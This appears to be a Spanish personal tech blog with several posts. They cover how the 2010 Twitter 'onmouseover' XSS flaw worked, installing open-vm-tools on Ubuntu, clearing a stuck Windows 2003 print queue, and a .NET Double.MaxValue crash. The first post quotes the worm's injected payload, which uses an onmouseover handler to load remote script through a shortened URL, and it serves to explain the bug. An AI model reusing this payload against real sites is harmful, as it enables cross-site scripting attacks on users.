¿Cómo funcionaba el último error de twitter: “onmouseover”?

Si usáis Twitter os habréis dado cuenta que ha sido un caso, cientos de comentarios raros que al movernos sobre ellos ocurría cualquier cosa, desde hacer un RT automático a vaya usted a saber quien, hasta recibir mensajes raros de tu navegador.

El culpable era un mensaje como este, que aparecía en tu timeline:

http://t.co/@"style="font-size:999999999999px;
"onmouseover="$.getScript('http:\u002f\u002fis.gd\xxxxxxx')"/

Analicemos este mensaje, ya que usa un acortador de url “http://t.co” y justo delante, lleva una @, lo que en el mundo de Twitter suele significar que estamos respondiendo a un usuario (por ejemplo @twitter). El problema viene cuando la @ se identifica erróneamente como que se quiere indicar un usuario (¿en una url?) y el texto que viene después se asume que es un nombre de un usuario, y se escribe en el código de la web siguiente (si, como oyes) por lo tanto donde iría un nombre de usuario, ahora va un bonito código html con su javascript integrado.

Mucha mas información aquí.

Please follow and like us:

Instalando las vmware-tools en Ubuntu 10.04

Tener un servidor de máquinas virtuales es una gran idea, y instalar las “vmware-tools” es casi obligatorio, ya que no instalarlas sería un problema en cuanto rendimiento.

Sin duda todo parece muy facil,  ya que desde el interfaz web se pueden “instalar”. Bueno, realmente, sólo monta una iso como un CD, y tu lo instalas desde un tar.gz. Pero claro, no iba a funcionar, y te recomiendo que no pierdas el tiempo. Si quieres instalar estas herramientas ejecuta lo siguiente:

aptitude update
aptitude safe-upgrade
aptitude install open-vm-tools open-vm-dkms

Y dale un poco de tiempo. Y sin romperte la cabeza.

Actualización: Si utilizas una versión más moderna de Ubuntu (espero que sí), te recomiendo que uses este script que suelo usar en mis maquinas, y que te lo instala sin problemas, y con el fichero original de VMWare.

Please follow and like us:

Purgar la cola de impresión en el servidor de impresión de Windows 2003

Una tarea que puede ocurrir cuando centralizas en un servidor Windows 2003 todas las impresoras de un entorno corporativo es recibir una llamada de un usuario del tipo:

La impresora X no imprime, y por más que doy… ná. He reiniciado el ordenador 20 veces, le he rezado 20 avemarias al santo patrón de los BOFH, pero nada. ¡¡¡Arreglalo!!!.

Con resignación nos tocará levantarnos del sitio y tras descartar que el problema sea de la impresora, y ver que a la impresora no le llega nada de lo enviado (ese sería otro problema de no reproducirse este escenario que te cuento, luego busca en otro sitio: Este no es tu error), miramos con resignación a nuestro querido servidor de impresión.

Entramos en “Panel de control > Impresoras y faxes” o bien, mediante la pantalla de “Administre su servidor > Servidor de impresión“, allí miramos la impresora si tiene una impresión indestructible (si damos a cancelar y se queda eternamente “Eliminando…”). Si no queremos reiniciar el servidor, y de paso,no  dejar a los usuarios sin 20 minutos de servidor de impresión donde seguramente haya 3 personas con documentos que no pueden esperar ser imprimidos. La forma más rápida de solucionarlo puede ser esta (unos 2 minutos):

  1. Inicio > Herramientas Administrativas > Servicios“.
  2. Localizar “Cola de impresión” y pararla. No cierres esta ventana.
  3. Entra en “\WINDOWS\system32\spool\PRINTERS“. Puede que la ruta cambien un poco según donde tengas instalado el sistema operativo.
  4. Borra los ficheros *.SHD y *.SPL. Si no hay, comprueba que es allí donde se almacena la cola de impresión en el apartado de “Impresoras y Faxes > Archivo > Propiedades del servidor de impresión > Opciones Avanzadas > Carpeta de cola de impresión”. Si apunta a otra ruta, mira allí. Si tampoco están allí, este manual no te servirá para nada, lo siento.
  5. Vuelve a arrancar el servicio de “Cola de impresión”.
  6. Revisa que ya no hay documentos “enganchados” en la impresora.
  7. “Trabajito bien hecho, cigarrito pal pecho”.
Please follow and like us:

Cuando Double.MaxValue, no es Double.MaxValue

Creo que es uno de los primeros post que voy a escribir por absoluta desesperación. Y el título lo dice todo.

Estamos desarrollando una aplicación en mi empresa, donde usamos un librería “open source” construida de manera intachable. Bien estructurada, con sus clases, con sus interfaces, y todo en NET 2.0.

Ahora viene lo bueno, dentro de la librería, hay un:

public const double Missing = Double.MaxValue;

Esta línea, parece encarnar el mal, y tiene el número #630 dentro del sistema de bugtracking del proyecto (a partir de ahora el número del mal). En ciertos equipos (si, en ciertos, sin diferenciación mayor que ser otro equipo), provoca que el programa se salga (mejor dicho: explote), sin generar ninguna excepción (lo que implica un error por debajo incluso del NET) y sin dejar ningún registro de error. En cambio, si ponemos:

Si hacemos una asignación quitando el alias:

public const double Missing = 1.7976931348623157E+308;

Tenemos otro crash silencioso al ejecutar el programa. Incluso rebajando el exponente, tenemos el mismo fallo. Pero esperen, que viene lo mejor:

public const double Missing = 999999999999999999;

Entonces, todo el felicidad, los pájaros cantan y las nubes se levantan… No falla.

¿¿¿Porqué???. De verdad que no lo entiendo, y los oscuros mundos del NET me tienen frito.

Pues no termino de entender el porque. Puedo conjeturar que viene por la representación que le da .NET, no es representable por algún nivel más bajo de la máquina, o algún redondeo que implique un overflow. Pero la verdad que no he encontrado nada por la red, y menos aun por los foros de la librería. Pueden ser muchos factores, y me estaré dejando muchos sin tener en cuenta, pero desde luego ahora mismo estoy falto de ideas.

Please follow and like us: